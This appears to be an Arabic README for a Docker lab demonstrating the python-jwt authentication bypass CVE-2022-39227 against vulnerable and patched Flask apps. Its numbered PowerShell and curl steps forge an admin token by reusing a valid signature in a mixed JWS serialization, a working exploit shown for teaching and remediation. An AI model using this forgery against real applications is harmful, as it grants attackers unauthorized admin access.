
مختبر تعليمي يوضح تجاوز التحقق من المصادقة JWT (CVE-2022-39227) في python-jwt. هجوم خطوة بخطوة ضد تطبيقات Flask الضعيفة والمُصلَحة مع إعداد Docker.
يعرض هذا المشروع الثغرة الأمنية CVE-2022-39227 في بيئة معملية محلية خاضعة للرقابة. تؤثر هذه الثغرة على مكتبة python-jwt (الإصدارات < 3.3.4) وتسمح للمهاجم بتزوير ادعاءات JWT دون معرفة المفتاح السري عن طريق استغلال عدم تطابق في التحليل (JWS Serialization) بين python-jwt وتبعيتها jwcrypto.
يشغل المشروع تطبيقين Flask متطابقين باستخدام Docker، مفصولين فقط بإصدارات تبعياتهما:
python-jwt==3.3.3)python-jwt==3.3.4)كلا التطبيقين يطبقان نظام التحكم في الوصول القائم على الأدوار (RBAC). يمكن للمستخدم العادي (alice) تسجيل الدخول والحصول على JWT. فقط المستخدمون الذين لديهم دور admin في ادعاء JWT الخاص بهم يمكنهم الوصول إلى نقطة النهاية /admin.
1. تشغيل البيئة تأكد من تشغيل Docker Desktop، ثم نفذ:
docker-compose up -d --build
سيؤدي هذا إلى تشغيل كلا الخادمين (المعرض للخطر والمُصلح) في الخلفية.
لإعادة إنتاج الهجوم، ستقوم بتنفيذ طلبات HTTP خام ومعالجة الحمولة يدويًا في PowerShell. يوضح هذا أن الثغرة تكمن في البروتوكول ومنطق تحليل المكتبة، وليس في أداة خارجية.
الخطوة 1: تسجيل الدخول والحصول على رمز صالح
$response = Invoke-RestMethod -Uri "http://localhost:5000/login" -Method Post -Body '{"username":"alice","password":"alice123"}' -ContentType "application/json"
$token = $response.token
الخطوة 2: تقسيم JWT إلى مكونات
$parts = $token.Split('.')
$header = $parts[0]
$payload = $parts[1]
$signature = $parts[2]
الخطوة 3: فك تشفير الحمولة، تعديل الدور، وإعادة الترميز إلى Base64Url
# فك تشفير الحمولة الأصلية
$decodedPayload = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($payload.PadRight($payload.Length + (4 - $payload.Length % 4) % 4, '=').Replace('-', '+').Replace('_', '/')))
# تغيير الدور من "user" إلى "admin"
$modPayload = $decodedPayload -replace '"role":"user"','"role":"admin"'
# إعادة ترميز الحمولة المعدلة إلى Base64Url
$modPayloadB64 = [System.Convert]::ToBase64String([System.Text.Encoding]::UTF8.GetBytes($modPayload)).TrimEnd('=').Replace('+', '-').Replace('/', '_')
الخطوة 4: بناء تنسيق تسلسل JWS الخبيث
$forged_token = '{{"{0}.{1}":"","protected":"{0}","payload":"{2}","signature":"{3}"}}' `
-f $header, $modPayloadB64, $payload, $signature
$forged_token_escaped = $forged_token -replace '"', '\"'
الخطوة 5: تنفيذ الهجوم ضد كلا الخادمين
# مهاجمة الخادم المعرض للخطر (المنفذ 5000) -> نجاح
curl.exe -s -X GET http://localhost:5000/admin -H "Authorization: Bearer $forged_token_escaped"
# مهاجمة الخادم المُصلح (المنفذ 5001) -> محظور (تنسيق رمز غير صالح)
curl.exe -s -X GET http://localhost:5001/admin -H "Authorization: Bearer $forged_token_escaped"
قم بترقية python-jwt إلى الإصدار 3.3.4 أو أحدث. بالإضافة إلى ذلك، يجب على التطبيقات فرض التحقق الصارم من التوقيع والتحقق من سلامة الحمولة مباشرة من خلال طبقة منطق التطبيق كلما أمكن.
تم تنفيذ هذا المشروع بدقة داخل بيئة معملية محلية خاضعة للرقابة لأغراض تعليمية. لم يتم استهداف أي أنظمة طرف ثالث أو خدمات عامة أو حسابات مستخدمين حقيقية.